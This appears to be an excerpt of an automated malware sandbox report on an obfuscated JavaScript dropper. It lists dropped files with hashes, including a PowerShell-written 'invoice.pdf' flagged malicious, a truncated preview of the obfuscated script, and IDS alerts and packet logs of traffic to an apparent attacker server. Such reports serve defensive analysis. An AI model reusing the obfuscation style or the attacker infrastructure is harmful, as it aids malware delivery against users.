SHA-512:	503218D83C511A7F7CEA8BC171921D1435664B964F01A8C77DC0F4D0196DD2815D9444DA98278E1369552D004E9B091DD9B89663209F0C52ACB97FCE6AFFE7A9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\e2ce5b80-e272-4cf9-82b6-8af216918861.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\fc1ea806-7a4a-41fe-ace6-b99c8c74a6d6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xaWL07oSwYIGNPUGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JaWLxSwZG6GZn3mlind9i4ufFXpAXkru
MD5:	C267C8C3D4A0DBACC06F3737E1784EB3
SHA1:	D798A10176D979377257977E896C8D332B785F23
SHA-256:	B5B5EF233AADF8F9C3509CDE98C7A9885D0E1B4938CD2A0676170BC8B30855F4
SHA-512:	3C9CC6700F7827321C0DEADA8F8517F8BAAB6056AF3D7FDAA71BF258C58399EDFDA8601AEBAEEBAB36EF0B1F59BA3E9690EEC2ACD2B8E3A94C8A328261D55D16
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16886), with CRLF line terminators
Entropy (8bit):	4.9275228960065585
TrID:
File name:	4036231441630930293.js
File size:	20'461 bytes
MD5:	5565d3d73c24e2fcf338b0699e21987f
SHA1:	30b03517287ab69fe0aa690456bef83dbd665d0e
SHA256:	ff238a8cf2185945cc92ca0f04df5d30b53d071386818a137bc5d5b3d81f2d03
SHA512:	b573881c3db80089e54b0ec13e1e070fc2b7c429f611d15fb7b6d6ed3d37441f912de754c58bb21f12af92756d764e2186e2af84854b0a293ad00e7ee472207e
SSDEEP:	384:xEvAJmltSyqEvAJLph/4CflYgwzHETQD7V0dyceQsGn9B3wrC3hOZw:xEvAJmltSyqEvAJNh/4CflYgwzkTU69r
TLSH:	8892FF9599C4DDB7DBD0E070415308E363A513EB49F287E68C52BAC92E09D72FCD68B8
File Content Preview:	function lwubusxop(){nmgdzs=[1031,3079,5127,4103,2055,3072];var yxbeyolic=this[eabxlp+uaxhixt+ghwmhwbj+dhjeg+fwswfg+naizjfkmb+gfqosn+hievhxcly](this[ponpmtgyc+wfavftfg+dhhle+ghwmhwbj+bbdmwuk+eabxlp+hievhxcly][qkpbnwckz+ghwmhwbj+fwswfg+uaxhixt+hievhxcly+fw

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:55:41.915204+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T21:55:44.108095+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:55:41.111603022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:41.116605997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.116714954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:41.119927883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:41.124685049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915029049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915051937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915064096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915077925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915097952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915111065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915132046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915143967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915154934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915168047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.915204048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:41.915204048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:41.915237904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:41.919998884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.920011044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.920054913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:41.957382917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.957396030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.957461119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.957480907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:41.957561016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:41.957561016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.043711901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.043737888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.043751001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044064999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044084072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044096947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044111967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044114113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.044114113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.044126034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044162035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.044162035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.044833899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044847012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044861078 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044873953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.044892073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.045535088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.045572042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.045586109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.045612097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.045623064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.045635939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.045663118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.045663118 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.046245098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.046257019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.046617985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.046670914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.046670914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.046773911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.046783924 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.046920061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.086448908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.086607933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.086679935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.087872028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.087886095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.087898970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.087922096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.132792950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.132810116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.132956028 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.172665119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.172826052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.172840118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.172909975 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.172986984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173001051 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173015118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173036098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.173073053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.173330069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173342943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173356056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173391104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.173474073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173485994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173496962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173515081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.173548937 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.173836946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173849106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173861027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173873901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.173904896 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.173944950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.173996925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.174407005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.174453020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.174602032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.174613953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.174627066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.174638987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.174652100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.174654961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.174666882 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.174686909 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.174715042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.175379038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.175390959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.175437927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.175529957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.175543070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.175554037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.175566912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.175580025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.175580978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.175628901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.176271915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.176314116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.176460028 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.176471949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.176484108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.176496029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.176508904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.176510096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.176522970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.176534891 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.176569939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.177129030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.177299023 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.177311897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.177340984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.215066910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.215166092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.215197086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.215209961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.215249062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.215385914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.215399027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.215411901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.215457916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.221733093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.221745968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.221760988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.221795082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.221817970 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.260998011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.261039972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.261107922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.300801992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.300818920 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.300832987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.300846100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.300859928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.300885916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.300934076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.300992966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301013947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301032066 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.301068068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301105976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.301131964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301143885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301157951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301182032 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.301620960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301631927 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301645041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301672935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.301702976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.301763058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301775932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301789045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301800966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301809072 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.301814079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.301852942 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.302095890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302113056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302124977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302136898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302136898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.302150965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302174091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.302206993 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.302459955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302526951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302562952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.302623987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302699089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302710056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302721977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302736998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302736998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.302752972 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302766085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302767992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.302779913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302793980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.302793980 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.302839994 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.303383112 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303423882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.303466082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303478003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303491116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303503036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303515911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.303519964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303541899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303546906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.303554058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303567886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303581953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303584099 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 21:55:42.303596020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 21:55:42.303610086 CET	49704	80	192.168.2.8	193.143.1.205
